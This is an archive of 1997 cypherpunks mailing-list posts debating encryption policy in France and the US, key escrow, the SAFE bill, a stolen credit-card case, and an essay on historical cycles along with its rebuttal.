Date: Mon, 1 Sep 1997 17:41:59 +0800
To: cypherpunks@toad.com
Subject: Crypto FAQs
Message-ID: <199709011328.JAA00386@crypt.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone wrote:

> Dose Cypherpunks have an FAQ?  and dose it need one?

        There is a "cypherpunk FAQ", but you'd be better off reading the
sci.crypt FAQs first.  Consult your favorite search engine for locations.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 1 Sep 1997 23:00:21 +0800
To: cypherpunks@toad.com
Subject: Patel's Opinion
Message-ID: <1.5.4.32.19970901143843.00757e30@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



John and Stanton,

Greg Broiles fedexed us a clear, scannable copy of
Patel's August 25 Opinion, which we've digitized and 
formatted, in case EFF wants to use it to supplement 
the admirable volunteer effort:

   http://jya.com/bernstein-III.htm (93K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 1 Sep 1997 08:57:09 +0800
To: platypus@acmeonline.net
Subject: Re: PGP Signatures
In-Reply-To: <Pine.LNX.3.93.970901022644.110A-100000@shirley>
Message-ID: <Pine.OSF.3.96.970901103726.27502B-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain




The post below has been corrupted and reposted to the list.  It apperase
that the source of this was dimen.com.  Who ever is doing this please fix
this.

On Mon, 1 Sep 1997, ? the Platypus {aka David Formosa} wrote:

[...]

> Received: from dimensions.dimen.com (dimensions.dimen.com [199.164.189.11]) by toad.com (8.7.5/8.7.3) with SMTP id OAA27208 for <cypherpunks@toad.com>; Sun, 31 Aug 1997 14:00:31 -0700 (PDT)
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> To: Geoff Fritz <gfritz@mail.dimen.com>
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>           id AA80314; Sun, 31 Aug 1997 14:59:59 -0600
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[...]

> From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>

[...]

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 02:24:50 +0800
To: "Brian B. Riley" <cypherpunks@cyberpass.net>
Subject: Re: Encouraging News - France
In-Reply-To: <199709011716.NAA01820@mx02.together.net>
Message-ID: <v03102800b030b512e278@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I'm extremely skeptical that France will truly liberalize crypto use by its
citizen-units. Rather, I expect they will just be falling in line with the
OECD/Wasenaar/New World Order "trusted third party" key recovery approach
that the United States, Britain, and other European and Asian countries are
behind-the-scenes adopting.

At 10:16 AM -0700 9/1/97, Brian B. Riley wrote:
> From <http://www.ft.com/hippocampus/8e46a.htm>
>
>>Encryption technology: French boost for internet software
>
>>MONDAY SEPTEMBER 1 1997
>>By Andrew Jack in Paris
>
>>France is poised to liberalise regulations on computer encryption
>>technology which could boost its efforts to encourage development of the
>>internet.

Does anyone think this means: "Hey, use whatever crypto program you want.
Use something SDECE cannot break!"?

Given the monopoly France Telecom has on Internet access, I'd expect a
"solution" that involves FT issuing keys, or something equally brain dead
as that.

(I gave an invited talk on crypto anarchy at a conference in Monaco a few
years ago, and spoke to several France Telecom representatives. They made
it quite clear that France was not going to tolerate independent ISPs, and
that France Telecom would administer any crypto ever to be used by the
populace. Maybe this policy has changed, but I doubt it. Whatever France's
charms, open debate is not one of them.)


>>The government is shortly to publish an official decree which would for
>>the first time allow easy access to and use of software which encodes
>>sensitive information in order to protect it from unauthorised
>>interception.

I'll bet 1000 francs that this will not mean citizens can use PGP openly.
(I know some Frenchies who are already using PGP, of course.)



>>The new decree in France follows a 1996 telecommunications regulation
>>law, which opened the way to liberalisation of encryption software but
>>which has so far not led to publication of any details of how the
>>measures could be applied.

One wag put it this way: "Any Frenchman may apply for a permit to use
strong cryptography. The same way any Frenchman may apply for a permit for
an Exocet missile."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <k.p@snet.net>
Date: Mon, 1 Sep 1997 19:31:08 +0800
To: cypherpunks@toad.com
Subject: International Relations
Message-ID: <199709011518.LAA00645@crypt.com>
MIME-Version: 1.0
Content-Type: text/plain



"[I]t seems pretty clear that no civilized people will ever again permit its
government to enter into a competitive armament race."

-- Nicholas Murray Butler
   (President of Columbia University),
   quoted in the Literary Digest,
   October 17, 1914





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 2 Sep 1997 00:48:02 +0800
To: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <cJ7vHp9OYe6SZxEVBEbNlQ==@bureau42.ml.org>
Message-ID: <Pine.BSF.3.91.970901111126.16439D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 1 Sep 1997, bureau42 Anonymous Remailer wrote:

> Rabid Wombat wrote:
> > 
> > On Mon, 1 Sep 1997, Anonymous wrote:
> > 
> > > "Smak" delivered an encrypted CD containing over 100,000 stolen
> > > credit card numbers. After the validity of the credit card information
> > > was confirmed through decryption of the data on the CD, "Smak" was
> > > taken into custody by the FBI.
> > >
> > >   And the 100,000 people were immediately notified that their credit
> > > cards had been compromised? I fucking doubt it. Better to screw over
> > > 100,000 citizen-units than expose the incompetence of a few companies
> > > and the government's fight against strong encryption and computer
> > > security.
> > 
> > I was recently notified by a bank that issued one of my credit cards that
> > my card number had been sold, along with thousands of other account
> > numbers, to an undercover FBI agent. The bank canceled my account, opened
> > a new one, and overnighted a replacement card. No big deal, and no loss
> > to me.
> > 
> > OTOH, it *might* have been in response to a different incident. Keep
> > those paranoid rants coming.
> 
>   Why don't you tell us the name of the company that has such lousy
> computer security that your credit was placed in jepoardy, so that we
> can decide if we want to avoid doing business with them?
> 

Based on what I've seen so far, the account numbers were more likely to 
have been obtained from the databases of merchants than from banks. If 
the bank was cracked, there would have been many more card numbers from 
one bank on the CD, rather than a distribution of account numbers issued 
by many institutions. I doubt that someone managed to crack a dozens of 
banks, and then took only a few thousand numbers from each. It is more 
likely that "widgets R us" was compromised, resulting in a few thousand 
accounts from each of the major banks.

I suppose I could look back over a few year's worth of statements, and 
tell you where *not* to shop, but I'd be listing all merchants I'd done 
business with as being equally guilty, when it is very likely that only 
one was compromised.

My guess is that Smak had inside access to a particular merchant's 
system, but I've been wrong before.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 02:29:40 +0800
To: "Brian B. Riley" <cypherpunks@cyberpass.net>
Subject: Re: Encouraging News - France
Message-ID: <v03102801b030b79f7be2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I should've added to my last post that not only am I skeptical that
citizens in France will be able to use truly strong, unbreakable crypto,
but that the "encouraging news" is quite likely just the opposite.

No solution which involves key escrow or "mandatory voluntary" key recovery
is "encouraging."

The French do not have a solid basis for protection of free speech, as the
United States (mostly) does. We Americans can point to the First Amendment
and pretty much nuke any proposals to place prior restraint on the forms or
content of speech, including the languages we speak to each other in,
whether Navaho, Urdu, or PGP.

This is why so many of us are opposed to SAFE, which for the sake of eased
export requirements would infringe on domestic use of crypto. (By
felonizing crypto use in conjunction with a crime, and that crime could be
any one of thousands of crimes on the books.)

So, I doubt strongly the news out of France is "encouraging." Rather, I
expect France is about to fall into line with the OECD agreements on
escrowed encryption.

As so many Cypherpunks apparently like to say, "Feh."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Mon, 1 Sep 1997 19:49:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Adding Memory to the Net
In-Reply-To: <19970831181542.2052.qmail@zipcon.net>
Message-ID: <slrn60lald.4nb.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Mike Duvos wrote:
>The basic idea here is to add memory to the Net in a reliable
>way, so that the Net provides memory services in the way it now
>universally provides data transport services.  The Net would then

Try to find SMMP, Simple Memory Managment Ptotocol. Dejanews (old database)
may help. Originated to Kristian Koehntopp.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 2 Sep 1997 03:51:22 +0800
To: Tim May <tcmay@got.net>
Subject: UNSAFE Re: Encouraging News - France
In-Reply-To: <v03102801b030b79f7be2@[207.167.93.63]>
Message-ID: <3.0.2.32.19970901122901.03012ae8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 AM 9/1/97 -0700, you wrote:
>This is why so many of us are opposed to SAFE, which for the sake of eased
>export requirements would infringe on domestic use of crypto. (By
>felonizing crypto use in conjunction with a crime, and that crime could be
>any one of thousands of crimes on the books.)

According to some article on some mailing list, SAFE appears to be dead;
the chairman of one of the relevant committees believes too strongly in
"National Security" to be willing to let it out.  On the other hand,
if it does get out, the ACLU and CDT lobbied some words into it that
would at least limit the use-a-crypto penalties to crimes that are
Federal criminal felonies, so jaywalking while using a cellphone doesn't 
get hit (unlike jaywalking while carrying an assault BBgun.)

It's still seriously wrong, of course, but at least the number of cases
that it applies to is substantially reduced, though the number of 
Federal felonies keeps increasing at an appalling rate.

If SAFE does go through, I'm sure someone will get busted for 
selling drugs while using a cellphone, with the prosecution arguing
that since the cellphone is capable of interstate phone calls,
the drug deal is a Federal crime and not just state, and therefore
the use-crypto-go-to-jail applies...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 2 Sep 1997 01:32:11 +0800
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <Pine.BSF.3.91.970901111126.16439D-100000@mcfeely.bsfs.org>
Message-ID: <F84cce10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> Based on what I've seen so far, the account numbers were more likely to
> have been obtained from the databases of merchants than from banks. If
> the bank was cracked, there would have been many more card numbers from
> one bank on the CD, rather than a distribution of account numbers issued
> by many institutions. I doubt that someone managed to crack a dozens of
> banks, and then took only a few thousand numbers from each. It is more
> likely that "widgets R us" was compromised, resulting in a few thousand
> accounts from each of the major banks.

A couple of years ago "hackers" got hold of the credit card numbers being
billed by panix.com, a (lousy) NYC ISP. of course that was much less3
than a hundred thousand cards :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 2 Sep 1997 01:24:15 +0800
To: <cypherpunks@cyberpass.net>
Subject: Encouraging News - France
Message-ID: <199709011716.NAA01820@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



 From <http://www.ft.com/hippocampus/8e46a.htm>

>Encryption technology: French boost for internet software

>MONDAY SEPTEMBER 1 1997
>By Andrew Jack in Paris

>France is poised to liberalise regulations on computer encryption 
>technology which could boost its efforts to encourage development of the 
>internet.

>The government is shortly to publish an official decree which would for 
>the first time allow easy access to and use of software which encodes 
>sensitive information in order to protect it from unauthorised 
>interception.

>The move could prove especially important for companies attempting to 
>sell products and services over the internet, but which have been 
>concerned about their protection of credit card numbers and other 
>financial information provided by their customers.
>
>France remains one of the few western countries to impose such 
>restrictive legislation on encryption, with only certain categories of 
>users currently allowed to use the software.

>Other nations which continue to restrict the use of cryptography tightly 
>in order to control the transfer of sensitive information include Iraq, 
>Libya, Singapore and China.

>While many more countries - including EU member states and the US - 
>restrict the export of sophisticated encryption technology as a product 
>important to national security, most have more liberal guidelines 
>concerning the circulation and application of software within their own 
>borders.

>The new decree in France follows a 1996 telecommunications regulation 
>law, which opened the way to liberalisation of encryption software but 
>which has so far not led to publication of any details of how the 
>measures could be applied.

>The latest move comes after Lionel Jospin, the prime minister, made a 
>speech last week highlighting the "delay" in France of uptake of the 
>internet and promising initiatives to give it a higher priority.
>---------


Brian B. Riley --> http://www.macconnect.com/~brianbr
        For PGP Keys -  Send Email Subject "Get PGP Key"
  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 2 Sep 1997 03:09:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Encouraging News - France
Message-ID: <1.5.4.32.19970901185733.0083cff4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>
>I should've added to my last post that not only am I skeptical that
>citizens in France will be able to use truly strong, unbreakable crypto,
>but that the "encouraging news" is quite likely just the opposite.
>
>No solution which involves key escrow or "mandatory voluntary" key recovery
>is "encouraging."

Tim's nailed this. Expect the US, and other Wassenaar signators, 
to announce similar regulations ostensibly in support of privacy and
commerce that will include GAK to assure public and national security.

This is House National Security Committee chair Solomon's position,
the next stop for SAFE, and as TM notes, where it will be further 
eviscerated to fit TLA requirements.

This is the public policy agenda of the McCain-Kerry Bill.

This is BXA's goal in the current draft regs circulating for comment, and
probably what's coming in the Wassenaar implementation, while it
engenders complicity from commercial license seekers with one-by-one
approvals.

This is DoJ's argument in Bernstein for controlling object code while
avowing total support for academic freedom and freedom to publish
print in deference to the 1st Amend.

It looks as though the fall crypto campaign is about to open with a rush,
worldwide. Stories being fed to journalists, draft regs being dealt to
collaborators, license approvals for sure bettors. Up-yours to all the
rest who don't want to, in smooth-tongue Stewart Baker's phrase, 
"French kiss NSA/BXA."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 2 Sep 1997 06:14:06 +0800
To: cypherpunks@cyberpass.net
Subject: The End of Politics
Message-ID: <v03102803b030ed0b7ecb@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



			The End of Politics

Every 500 years or so Western history seems to reach a turning point: the
founding of democracy (Athens, c. 500 B.C.), the death to Christ, the fall
of the Roman Empire and beginning of the Dark Ages (c. 500 A.D.), the
ascendancy of the Catholic Church and beginning to the Middle Ages (c. 1000
A.D.) and the Renaissance (c. 1500 A.D.).

These points of inflection are often evidenced by a dramatic raise in
corruption and lack of faith in institutions.  At the start of the 16th
century few could have imagined a secular Europe.  Though its rampant
decadence and debauchery was widely known, the Catholic Church permeated
almost every aspect of life and its economic tentacles denominated all
commerce.  Yet by 1600 many city states had thrown off the ecclesiastical
yolk and Protestantism was born.

With the near constant stream of corruption revelations and the inability
of the political process within the nation-states to deal with important
social issues, it isn't hard to see the reflections in current events. Many
claim our nation has diverged very far from its founding roots and, through
expansive Supreme Court, Executive and Legislative Branch actions, the Feds
have laid claim to almost every facet of American life not specifically
nailed down in the Constitution (and many we thought were).

Two turning points were catalyzed by military technology (metal armor and
gunpowder) which dramatically altered the economic scale and payback for
violence.  We may be nearing the end of another such military technology
cycle, which for the last 200 years favored those states which could muster
the largest economies for warfare.  With the fall of the Soviet Union it is
obvious that democracies were able to extort more GNP through taxes than
the communist could through outright state ownership of property.  However,
the cost of producing weapons of mass destruction (especially chemical and
biological) has fallen dramatically and is now within reach not only of
small nations but increasingly individuals.  If one accepts that the
wielding of such power has been instrumental in shaping world politics then
the conclusion is almost inescapable that dominance by nation-states will
be on the wane.

The last turning point was also catalyzed by information technology: the
moveable type printing press, the first mass-production technology.  By
1500 hundreds of European printing presses had churned out over 20 million
books.  Early expectations were that the press would reinforce the use of
Latin and the Church, but most Europeans were monoglot and few authors
could compose satisfactory new Latin works.  The rest, as they say, is
history.  Many have compared the Internet with the press and it's not
unfair to characterize it as nothing short of an information revolution.

The victory of the Western democracies over their Communist opponents was a
political watershed.  With no Soviet bogeyman to wave in front of voters,
and the need to maintain their self-importance, politicians have had to
reach into the bag for new villains.  They have invoked the new Four
Horseman (terrorists, pornographers, money-launderers and drugs-dealers )
as a threat with which only they can effectively deal.  Only they can't and
they know it.  These issues are either outside their control, no matter
what restrictive laws they pass, or of their own making.

The Internet will play a key part in disintermediating governments and
markets.  To escape heavy regulatory burdens, significant information-based
business, investments and individuals will become jurisdiction-less.  With
their ability to regulate and tax Internet commerce and content denied a
major source of revenue will evaporate which be which cannot be replaced by
sales and property taxes.  This will spell the end of mass wealth
redistribution and signal a massive global down-sizing of government.

As the power of the nation-states to dictate world affairs slips, look for
an eclipse of democracy and with it politics as we know it.  Western
thought is so infused with politics that few can imagine society without.
Yet politics in the modern sense, the preoccupation with controlling and
rationalizing the power of the state, is mainly a modern invention.  It
will end with the modern world just as the tangle of feudal duties and
obligations which engrossed the attentions of people in the Middle Ages
ended with the Middle Ages.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leo Papandreou <leo@supersex.com>
Date: Tue, 2 Sep 1997 03:53:57 +0800
To: Harry Regan <geezbox@hotmail.com>
Subject: Re: Information
In-Reply-To: <19970901113516.25236.qmail@hotmail.com>
Message-ID: <Pine.BSF.3.91.970901153307.29960A-100000@lisa.supersex.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 1 Sep 1997, Harry Regan wrote:

> Information, please!

Dont go swimming on a full stomach.

> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 07:19:36 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: The End of Politics
In-Reply-To: <v03102803b030ed0b7ecb@[10.0.2.15]>
Message-ID: <v03102803b030f68041d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:08 PM -0700 9/1/97, Steve Schear wrote:
>			The End of Politics
>
>Every 500 years or so Western history seems to reach a turning point: the
>founding of democracy (Athens, c. 500 B.C.), the death to Christ, the fall
>of the Roman Empire and beginning of the Dark Ages (c. 500 A.D.), the
>ascendancy of the Catholic Church and beginning to the Middle Ages (c. 1000
>A.D.) and the Renaissance (c. 1500 A.D.).

I sure don't buy any analysis that starts with this kind of "periodicity
analysis" (Fourier analysis of history?).

Just for starters, these dates are highly arbitrary. The start of Roman
influence in a major way was 100 B,C. or so, the death of that Jesus guy
was a minor event (the real event was the rise of the Church, in Rome,
during the next few centuries, and esp. with Constantine). And the "Dark
Ages" were misnamed.

Also, during these so-called Dark Ages, we saw Charlemagne, and, of course,
Mohmammed. Circa 800 A.D. The Norman Conquest was 1066, the Crusades were
circa 1150-1250 (I forget the exact dates), and so on.

And the Enlightenment, c. 1700. And the American and French Revolutions.
And the Industrial Age. And a huge amount of history, ups and downs, just
in the last century. The dates you pick, -500, 0, 500, 1000, 1500 are
artificial, selected to match a theory based on 500-year cycles.

Kind of puts a crimp on the "500 year theory" doesn't it? One could just as
easily write about a 400-year cycle with the last crest in 1800 (American
and French Revolutions, etc.) and the next one in 2200.

And it would still be bullshit.

No offense meant to Steve, but this kind of analysis ranks up there with
astrology, phrenology, and aptical foddering.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 2 Sep 1997 04:40:19 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <Pine.BSF.3.91.970901153307.29960A-100000@lisa.supersex.com>
Message-ID: <NicDce14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Leo Papandreou <leo@supersex.com> writes:
> On Mon, 1 Sep 1997, Harry Regan wrote:
>
> > Information, please!
> Dont go swimming on a full stomach.
Don't "escrow" your keys.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 2 Sep 1997 07:26:55 +0800
To: remailer@anon.efga.org
Subject: Re: Hey
In-Reply-To: <3405F0ED.5D84@toad.com>
Message-ID: <3.0.2.32.19970901163508.007aa450@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



::
Encrypted: PGP

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: yV9u2hakLFv9/SGjemJH0AuGYsBQ1cOE

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Tue, 2 Sep 1997 05:33:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Encouraging News - France
In-Reply-To: <199709011716.NAA01820@mx02.together.net>
Message-ID: <19970901172641.64155@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On lun 01 sept 1997 à 11:18:10AM -0700, Tim May wrote:
> 
> I'm extremely skeptical that France will truly liberalize crypto use by its
> citizen-units. Rather, I expect they will just be falling in line with the
> OECD/Wasenaar/New World Order "trusted third party" key recovery approach

That's probably true. Given the recent history on the subject in France,
I doubt they would do a 180 degree turn...

> Does anyone think this means: "Hey, use whatever crypto program you want.
> Use something SDECE cannot break!"?

Update, SDECE is now called DGSE ;-) 
Besides, they are our CIA, and therefore not supposed to act within
France. But I guess the DST (the french FBI) would handle matters like
that. So far France doesn't have a (known) equivalent of the NSA. A
department controlled by the prime minister (the SGDN) handles the
authorization process for crypto usage, and is assisted for technical
issues by the SCSSI (which usually says "no way" for strong cryto).
Now, the army has also its own cryto units, and they have quite
knowledgeable people... (have a look at
http://www.dmi.ens.fr/equipes/grecc/, and all these "ingenieurs de
l'Armement" which are linked a way or another to this lab)

> Given the monopoly France Telecom has on Internet access, I'd expect a
> "solution" that involves FT issuing keys, or something equally brain dead
> as that.

It's not entirely true that FT has a monopoly. They do have a monopoly
on the phone lines, yes, which means of course that they can (and do)
dictate their own terms to any french internet provider. This won't last
forever, as starting january 1st this monopoly will end. This means
anybody will be free to switch to another phone provider (and yes, there
will be a few of them, which have installed networks, and which
currently can only offer phone services to compagnies, say to link to
physical locations in France, and are eager to enter the market
targeting individuals). Furthermore, it is untrue to say "FT=french
governement". Actually, most senior officials at FT wanted the company
to be sold to private interests, because they felt they would defend
their dominant position better this way. The new governement stopped the
process, but anyway FT has its own agenda, which may differ from the gov
vues. Of course, this doesn't mean anything good to the end customer,
the average french guy who would like to use the internet. FT is
catching up on the subject, but they did everything to slow down the
internet progression in France, fearing it would dammage their
"minitel", which generates high revenues.

> (I gave an invited talk on crypto anarchy at a conference in Monaco a few
> years ago, and spoke to several France Telecom representatives. They made
> it quite clear that France was not going to tolerate independent ISPs, and
> that France Telecom would administer any crypto ever to be used by the
> populace. Maybe this policy has changed, but I doubt it. Whatever France's
> charms, open debate is not one of them.)

You said everything when saying "a few years ago". I guess they woke up
on these issues, and now their key problem is more "how to keep making
the huge profits we make currently on the phone when we will have
competitors next january". Somehow internet and use of crypto aren't
that important in respect to that, even if anybody with half a brain can
see how everything is connected. Besides, I will give you an example
which illustrate how sometimes FT can be driven by market law rather
than gov interests. A few months ago, they started to sell cell-phone
cards, with a prepaid amount of time on it. these were anonymous, (they
wouldn't ask for an ID or anything), and everything went fine for a
couple of weeks, until somebody in the police realized they wouldn't be
able to link calls like that to a poor soul. So FT got an order from the
govt, and now they ask for an ID when purchasing. Now, I don't know if
any of the other 2 cell-phone operators in France offer the same kind of
card. I think they don't, unfortunatly, but if they decide to do so, it
would take more than a phone call from the governement to make them
comply with the police concerns. Well, I hope so...

> I'll bet 1000 francs that this will not mean citizens can use PGP openly.
> (I know some Frenchies who are already using PGP, of course.)

The thing is, currently many individuals use it, for e-mail or file
encryption, and I seriously doubt that anybody would be prosecuted just
for that. But they (LEAs, gvt, you name it) know that it's a Damocles
sword they can use at will. And they want to keep it that way. Unlike in
the US, it's rather difficult to challenge a law in France, the way
Berstein or Karn or Junger are doing. Therefore the current situation is
unlikely to change in the near future.

> >>The new decree in France follows a 1996 telecommunications regulation
> >>law, which opened the way to liberalisation of encryption software but
> >>which has so far not led to publication of any details of how the
> >>measures could be applied.

Well, mainly because they don't know themselves how to enforce their
laws. Or simply to interpret them.

> One wag put it this way: "Any Frenchman may apply for a permit to use
> strong cryptography. The same way any Frenchman may apply for a permit for
> an Exocet missile."

Old technology. We know better ;-)
<serious> you don't want to apply for a permit. You just use it. And if
later LEAs targets you as a drug dealer, you will get 20 years for drug
offences and 3 more months for crypto use. So as an individual, you
don't care, but by doing things this way cryto won't be widespred soon,
and large corporations or companies won't "just use it" the way a single
guy will.
Don't misunderstand me, it sucks, but at least when you are in France
you don't expect to wake up in front of a SWAT.

                            F.


-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 2 Sep 1997 08:55:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The End of Politics
In-Reply-To: <v03102803b030ed0b7ecb@[10.0.2.15]>
Message-ID: <v03102806b0310996334d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Tim May <tcmay@got.net> wrote:
>>At 3:08 PM -0700 9/1/97, Steve Schear wrote:
>>			The End of Politics
>>
>>Every 500 years or so Western history seems to reach a turning point: the
>>founding of democracy (Athens, c. 500 B.C.), the death to Christ, the fall
>>of the Roman Empire and beginning of the Dark Ages (c. 500 A.D.), the
>>ascendancy of the Catholic Church and beginning to the Middle Ages (c. 1000
>>A.D.) and the Renaissance (c. 1500 A.D.).
>
>I sure don't buy any analysis that starts with this kind of "periodicity
>analysis" (Fourier analysis of history?).

No doubt, with so few data points one cannot build a mathematically
compelling case.

>
>Just for starters, these dates are highly arbitrary. The start of Roman
>influence in a major way was 100 B,C.

It may be somewhat self-serving but in light of the past few hundred years
history, few (except Italians) would see the founding of Rome as
significant as the invention of democracy.

>or so, the death of that Jesus guy
>was a minor event (the real event was the rise of the Church, in Rome,
>during the next few centuries,

I think you'd get some major disagreements with that one.

>and esp. with Constantine).

Many historians do not see Constantine's empire as truly the continuation
of the Roman Empire per se, but that of the church (an event which as you
point out began with Jesus).

>And the "Dark Ages" were misnamed.

True, but relatively unimportant.

>I was talking more about the The Norman Conquest was 1066,

Yes, enabled by amoured cavelry which by that date had transformed warfare.

the Crusades were
>circa 1150-1250 (I forget the exact dates), and so on.
>
>And the Enlightenment, c. 1700. And the American and French Revolutions.
>And the Industrial Age. And a huge amount of history, ups and downs, just
>in the last century. The dates you pick, -500, 0, 500, 1000, 1500 are
>artificial, selected to match a theory based on 500-year cycles.

Sure, but almost any attempt to impose a large-scale structure on history
is likely to come under such critcism, just as theories to explain the
evolution of the universe's large-scale structure can be shot full of holes
by 'local' anomolies (the exception proves the rule). If one accepts that
the socio- politico- economic history may have chaotic aspects (e.g.,
Asimov's pyscho-history) then large-scale structures may be fleetingly
exist.  The true test is whether such attempts help explain or predict.
We'll have to wait a while for that ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 2 Sep 1997 07:29:21 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <c0c5826fa49596ec1ed8bca88a961981@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 10:23 AM 8/29/97 +1000, you wrote:
>The aol idiots are a joke right ?? Someone keeps faking the address
??
>
>Or are aol'ers this stupid ??

If they are faking, it's a nice forgery.  But I doubt it.  AOLers are
usually this dumb, while for some odd reasons, some smart AOLers
exist.  Of course, consider they aren't too smart if they stick with
an Orwellian online service that treats it's customers like shit.

